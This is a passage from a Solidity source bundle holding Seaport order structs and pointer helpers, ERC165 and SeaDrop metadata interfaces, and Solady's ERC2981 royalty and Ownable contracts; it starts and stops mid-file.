calldata offset\n address considerationToken; // 0x24\n uint256 considerationIdentifier; // 0x44\n uint256 considerationAmount; // 0x64\n address payable offerer; // 0x84\n address zone; // 0xa4\n address offerToken; // 0xc4\n uint256 offerIdentifier; // 0xe4\n uint256 offerAmount; // 0x104\n BasicOrderType basicOrderType; // 0x124\n uint256 startTime; // 0x144\n uint256 endTime; // 0x164\n bytes32 zoneHash; // 0x184\n uint256 salt; // 0x1a4\n bytes32 offererConduitKey; // 0x1c4\n bytes32 fulfillerConduitKey; // 0x1e4\n uint256 totalOriginalAdditionalRecipients; // 0x204\n AdditionalRecipient[] additionalRecipients; // 0x224\n bytes signature; // 0x244\n // Total length, excluding dynamic array data: 0x264 (580)\n}\n\n/**\n * @dev Basic orders can supply any number of additional recipients, with the\n * implied assumption that they are supplied from the offered ETH (or other\n * native token) or ERC20 token for the order.\n */\nstruct AdditionalRecipient {\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev The full set of order components, with the exception of the counter,\n * must be supplied when fulfilling more sophisticated orders or groups of\n * orders. The total number of original consideration items must also be\n * supplied, as the caller may specify additional consideration items.\n */\nstruct OrderParameters {\n address offerer; // 0x00\n address zone; // 0x20\n OfferItem[] offer; // 0x40\n ConsiderationItem[] consideration; // 0x60\n OrderType orderType; // 0x80\n uint256 startTime; // 0xa0\n uint256 endTime; // 0xc0\n bytes32 zoneHash; // 0xe0\n uint256 salt; // 0x100\n bytes32 conduitKey; // 0x120\n uint256 totalOriginalConsiderationItems; // 0x140\n // offer.length // 0x160\n}\n\n/**\n * @dev Orders require a signature in addition to the other order parameters.\n */\nstruct Order {\n OrderParameters parameters;\n bytes signature;\n}\n\n/**\n * @dev Advanced orders include a numerator (i.e. a fraction to attempt to fill)\n * and a denominator (the total size of the order) in addition to the\n * signature and other order parameters. It also supports an optional field\n * for supplying extra data; this data will be provided to the zone if the\n * order type is restricted and the zone is not the caller, or will be\n * provided to the offerer as context for contract order types.\n */\nstruct AdvancedOrder {\n OrderParameters parameters;\n uint120 numerator;\n uint120 denominator;\n bytes signature;\n bytes extraData;\n}\n\n/**\n * @dev Orders can be validated (either explicitly via `validate`, or as a\n * consequence of a full or partial fill), specifically cancelled (they can\n * also be cancelled in bulk via incrementing a per-zone counter), and\n * partially or fully filled (with the fraction filled represented by a\n * numerator and denominator).\n */\nstruct OrderStatus {\n bool isValidated;\n bool isCancelled;\n uint120 numerator;\n uint120 denominator;\n}\n\n/**\n * @dev A criteria resolver specifies an order, side (offer vs. consideration),\n * and item index. It then provides a chosen identifier (i.e. tokenId)\n * alongside a merkle proof demonstrating the identifier meets the required\n * criteria.\n */\nstruct CriteriaResolver {\n uint256 orderIndex;\n Side side;\n uint256 index;\n uint256 identifier;\n bytes32[] criteriaProof;\n}\n\n/**\n * @dev A fulfillment is applied to a group of orders. It decrements a series of\n * offer and consideration items, then generates a single execution\n * element. A given fulfillment can be applied to as many offer and\n * consideration items as desired, but must contain at least one offer and\n * at least one consideration that match. The fulfillment must also remain\n * consistent on all key parameters across all offer items (same offerer,\n * token, type, tokenId, and conduit preference) as well as across all\n * consideration items (token, type, tokenId, and recipient).\n */\nstruct Fulfillment {\n FulfillmentComponent[] offerComponents;\n FulfillmentComponent[] considerationComponents;\n}\n\n/**\n * @dev Each fulfillment component contains one index referencing a specific\n * order and another referencing a specific offer or consideration item.\n */\nstruct FulfillmentComponent {\n uint256 orderIndex;\n uint256 itemIndex;\n}\n\n/**\n * @dev An execution is triggered once all consideration items have been zeroed\n * out. It sends the item in question from the offerer to the item's\n * recipient, optionally sourcing approvals from either this contract\n * directly or from the offerer's chosen conduit if one is specified. An\n * execution is not provided as an argument, but rather is derived via\n * orders, criteria resolvers, and fulfillments (where the total number of\n * executions will be less than or equal to the total number of indicated\n * fulfillments) and returned as part of `matchOrders`.\n */\nstruct Execution {\n ReceivedItem item;\n address offerer;\n bytes32 conduitKey;\n}\n\n/**\n * @dev Restricted orders are validated post-execution by calling validateOrder\n * on the zone. This struct provides context about the order fulfillment\n * and any supplied extraData, as well as all order hashes fulfilled in a\n * call to a match or fulfillAvailable method.\n */\nstruct ZoneParameters {\n bytes32 orderHash;\n address fulfiller;\n address offerer;\n SpentItem[] offer;\n ReceivedItem[] consideration;\n bytes extraData;\n bytes32[] orderHashes;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n}\n\n/**\n * @dev Zones and contract offerers can communicate which schemas they implement\n * along with any associated metadata related to each schema.\n */\nstruct Schema {\n uint256 id;\n bytes metadata;\n}\n\nusing StructPointers for OrderComponents global;\nusing StructPointers for OfferItem global;\nusing StructPointers for ConsiderationItem global;\nusing StructPointers for SpentItem global;\nusing StructPointers for ReceivedItem global;\nusing StructPointers for BasicOrderParameters global;\nusing StructPointers for AdditionalRecipient global;\nusing StructPointers for OrderParameters global;\nusing StructPointers for Order global;\nusing StructPointers for AdvancedOrder global;\nusing StructPointers for OrderStatus global;\nusing StructPointers for CriteriaResolver global;\nusing StructPointers for Fulfillment global;\nusing StructPointers for FulfillmentComponent global;\nusing StructPointers for Execution global;\nusing StructPointers for ZoneParameters global;\n\n/**\n * @dev This library provides a set of functions for converting structs to\n * pointers.\n */\nlibrary StructPointers {\n /**\n * @dev Get a MemoryPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderComponents memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderComponents calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OfferItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OfferItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ConsiderationItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ConsiderationItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n SpentItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n SpentItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ReceivedItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ReceivedItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n BasicOrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n BasicOrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdditionalRecipient memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdditionalRecipient calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Order memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Order calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdvancedOrder memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdvancedOrder calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderStatus memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderStatus calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n CriteriaResolver memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n CriteriaResolver calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Fulfillment memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Fulfillment calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n FulfillmentComponent memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n FulfillmentComponent calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Execution memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Execution calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ZoneParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ZoneParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/interfaces/ContractOffererInterface.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {ReceivedItem, Schema, SpentItem} from \"../lib/ConsiderationStructs.sol\";\nimport {IERC165} from \"../interfaces/IERC165.sol\";\n\n/**\n * @title ContractOffererInterface\n * @notice Contains the minimum interfaces needed to interact with a contract\n * offerer.\n */\ninterface ContractOffererInterface is IERC165 {\n /**\n * @dev Generates an order with the specified minimum and maximum spent\n * items, and optional context (supplied as extraData).\n *\n * @param fulfiller The address of the fulfiller.\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function generateOrder(\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Ratifies an order with the specified offer, consideration, and\n * optional context (supplied as extraData).\n *\n * @param offer The offer items.\n * @param consideration The consideration items.\n * @param context Additional context of the order.\n * @param orderHashes The hashes to ratify.\n * @param contractNonce The nonce of the contract.\n *\n * @return ratifyOrderMagicValue The magic value returned by the contract\n * offerer.\n */\n function ratifyOrder(\n SpentItem[] calldata offer,\n ReceivedItem[] calldata consideration,\n bytes calldata context, // encoded based on the schemaID\n bytes32[] calldata orderHashes,\n uint256 contractNonce\n ) external returns (bytes4 ratifyOrderMagicValue);\n\n /**\n * @dev View function to preview an order generated in response to a minimum\n * set of received items, maximum set of spent items, and context\n * (supplied as extraData).\n *\n * @param caller The address of the caller (e.g. Seaport).\n * @param fulfiller The address of the fulfiller (e.g. the account\n * calling Seaport).\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function previewOrder(\n address caller,\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external view returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Gets the metadata for this contract offerer.\n *\n * @return name The name of the contract offerer.\n * @return schemas The schemas supported by the contract offerer.\n */\n function getSeaportMetadata() external view returns (string memory name, Schema[] memory schemas); // map to Seaport Improvement Proposal IDs\n\n function supportsInterface(bytes4 interfaceId) external view override returns (bool);\n\n // Additional functions and/or events based on implemented schemaIDs\n}\n" }, "lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "src/interfaces/ISeaDropTokenContractMetadata.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface ISeaDropTokenContractMetadata {\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the EIP-2981 royalty info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 basisPoints);\n\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 got);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after it has already been set.\n */\n error ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of\n * 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n}\n" }, "src/interfaces/IERC1155ContractMetadata.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\ninterface IERC1155ContractMetadata is ISeaDropTokenContractMetadata {\n /**\n * @dev A struct representing the supply info for a token id,\n * packed into one storage slot.\n *\n * @param maxSupply The max supply for the token id.\n * @param totalSupply The total token supply for the token id.\n * Subtracted when an item is burned.\n * @param totalMinted The total number of tokens minted for the token id.\n */\n struct TokenSupply {\n uint64 maxSupply; // 64/256 bits\n uint64 totalSupply; // 128/256 bits\n uint64 totalMinted; // 192/256 bits\n }\n\n /**\n * @dev Emit an event when the max token supply for a token id is updated.\n */\n event MaxSupplyUpdated(uint256 tokenId, uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Sets the max supply for a token id and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external;\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256);\n}\n" }, "lib/solady/src/tokens/ERC2981.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC2981 NFT Royalty Standard implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC2981.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol)\nabstract contract ERC2981 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The royalty fee numerator exceeds the fee denominator.\n error RoyaltyOverflow();\n\n /// @dev The royalty receiver cannot be the zero address.\n error RoyaltyReceiverIsZeroAddress();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The default royalty info is given by:\n /// ```\n /// let packed := sload(_ERC2981_MASTER_SLOT_SEED)\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n ///\n /// The per token royalty info is given by.\n /// ```\n /// mstore(0x00, tokenId)\n /// mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n /// let packed := sload(keccak256(0x00, 0x40))\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n uint256 private constant _ERC2981_MASTER_SLOT_SEED = 0xaa4ec00224afccfdb7;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC2981 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Checks that `_feeDenominator` is non-zero.\n constructor() {\n require(_feeDenominator() != 0, \"Fee denominator cannot be zero.\");\n }\n\n /// @dev Returns the denominator for the royalty amount.\n /// Defaults to 10000, which represents fees in basis points.\n /// Override this function to return a custom amount if needed.\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 10000;\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC2981: 0x2a55205a.\n result := or(eq(s, 0x01ffc9a7), eq(s, 0x2a55205a))\n }\n }\n\n /// @dev Returns the `receiver` and `royaltyAmount` for `tokenId` sold at `salePrice`.\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n public\n view\n virtual\n returns (address receiver, uint256 royaltyAmount)\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n let packed := sload(keccak256(0x00, 0x40))\n receiver := shr(96, packed)\n if iszero(receiver) {\n packed := sload(mload(0x20))\n receiver := shr(96, packed)\n }\n let x := salePrice\n let y := xor(packed, shl(96, receiver)) // `feeNumerator`.\n // Overflow check, equivalent to `require(y == 0 || x <= type(uint256).max / y)`.\n // Out-of-gas revert. Should not be triggered in practice, but included for safety.\n returndatacopy(returndatasize(), returndatasize(), mul(y, gt(x, div(not(0), y))))\n royaltyAmount := div(mul(x, y), feeDenominator)\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n sstore(_ERC2981_MASTER_SLOT_SEED, or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator` to zero.\n function _deleteDefaultRoyalty() internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n sstore(_ERC2981_MASTER_SLOT_SEED, 0)\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setTokenRoyalty(uint256 tokenId, address receiver, uint96 feeNumerator)\n internal\n virtual\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId` to zero.\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), 0)\n }\n }\n}\n" }, "lib/solady/src/auth/Ownable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple single owner authorization mixin.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/auth/Ownable.sol)\n/// @dev While the ownable portion follows\n/// [EIP-173](https://eips.ethereum.org/EIPS/eip-173) for compatibility,\n/// the nomenclature for the 2-step ownership handover may be unique to this codebase.\nabstract contract Ownable {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The caller is not authorized to call the function.\n error Unauthorized();\n\n /// @dev The `newOwner` cannot be the zero address.\n error NewOwnerIsZeroAddress();\n\n /// @dev The `pendingOwner` does not have a valid handover request.\n error NoHandoverRequest();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The ownership is transferred from `oldOwner` to `newOwner`.\n /// This event is intentionally kept the same as OpenZeppelin's Ownable to be\n /// compatible with indexers and [EIP-173](https://eips.ethereum.org/EIPS/eip-173),\n /// despite it not being as lightweight as a single argument event.\n event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);\n\n /// @dev An ownership handover to `pendingOwner` has been requested.\n event OwnershipHandoverRequested(address indexed pendingOwner);\n\n /// @dev The ownership handover to `pendingOwner` has been canceled.\n event OwnershipHandoverCanceled(address indexed 